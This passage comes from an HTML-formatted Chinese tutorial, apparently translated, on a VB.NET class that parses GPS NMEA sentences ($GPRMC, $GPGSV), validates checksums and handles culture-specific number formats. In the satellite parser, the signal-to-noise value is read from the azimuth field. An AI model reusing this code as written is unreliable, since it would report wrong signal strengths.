Then RaiseEvent SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new speed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SpeedReceived(Speed)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract bearing?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(8) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Bearing As Double = CType(Words(8), Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent BearingReceived(Bearing)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Does the device currently have a satellite fix?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(2) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Words(2)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "A"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "V"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR sty, le="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Interprets a "Satellites in View" NMEA sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPGSV(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim PseudoRandomCode As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Azimuth As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Elevation As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim SignalToNoiseRatio As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Each sentence contains four blocks of satellite information.</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Read each block and report each satellite's information</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Count As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Count = 1 To 4</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Does the sentence have enough words to analyze?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If (Words.Length - 1) &gt;= (Count * 4 + 3) Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes.&nbsp; Proceed with analyzing the block.&nbsp; Does it contain any</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' information?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(Count * 4) &lt;&gt; "" And Words(Count * 4 + 1) &lt;&gt; "" _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And Words(Count * 4 + 2) &lt;&gt; "" And Words(Count * 4 + 3) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract satellite information and report it</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PseudoRandomCode = CType(Words(Count * 4), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Elevation = CType(Words(Count * 4 + 1), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Azimuth = CType(Words(Count * 4 + 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SignalToNoiseRatio = CType(Words(Count * 4 + 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of this satellite's information</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SatelliteReceived(PseudoRandomCode, Azimuth, Elevation, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SignalToNoiseRatio)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Returns True if a sentence's checksum matches the calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Compare the characters after the asterisk to the calculation</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Calculates the checksum for a sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Loop through all chars to get a checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Ignore the dollar sign</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Stop processing before the asterisk</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Is this the first value for the checksum?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Set the checksum to the value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' No. XOR the checksum with this character's value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Return the checksum formatted as a two-character hexadecimal</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR>国外的读者也许已经想到了一个敏感的问题，就是关于美国用了那种数据格式的问题，这些我们在清单里处理！有些国家（比如：比利时和瑞典）使用不同的数据格 式，为了让应用程序工作那就不得不修改这个描述器了。还好，.NET框架里面提供了不同文化差异下数值转换的方法，因此我们直接修改描述器就可以了。在这 个描述器里，只有速度是小数值，所以只要改一下它就行了。NmeaCultrueInfo变量表示NMEA语句中有关不同文化的数值。 Double.Parse方法可以用来将速度变量转换为机器当前文化对应的数值。清单 1-8 给出了描述器完整的清单，现在就可以把它用在其它地方了。<BR><BR>清单 1-8：完整描述器，适合世界各种文化的国家<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 1-8.&nbsp; Adding support for international cultures</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*************************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Imports System.Globalization</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Represents the EN-US culture, used for numers in NMEA sentences</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Private NmeaCultureInfo As New CultureInfo("en-US")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Used to convert knots into miles per hour</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Private MPHPerKnot As Double = Double.Parse("1.150779", NmeaCultureInfo)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Raised when the current location has changed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String,_</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event DateTimeChanged(ByVal dateTime As DateTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event BearingReceived(ByVal bearing As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedReceived(ByVal speed As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SatelliteReceived(ByVal pseudoRandomCode As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal azimuth As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal elevation As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal signalToNoiseRatio As Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Processes information from the GPS receiver</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Discard the sentence if its checksum does not match our calculated</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Look at the first word to decide where to go next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Recommended Minimum" sentence was found!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPGSV"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPGSV(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was not recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Divides a sentence into individual words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Interprets a $GPRMC message</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to describe our location?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; And Words(5) &lt;&gt; "" And Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract latitude and longitude</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°"&nbsp; ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: 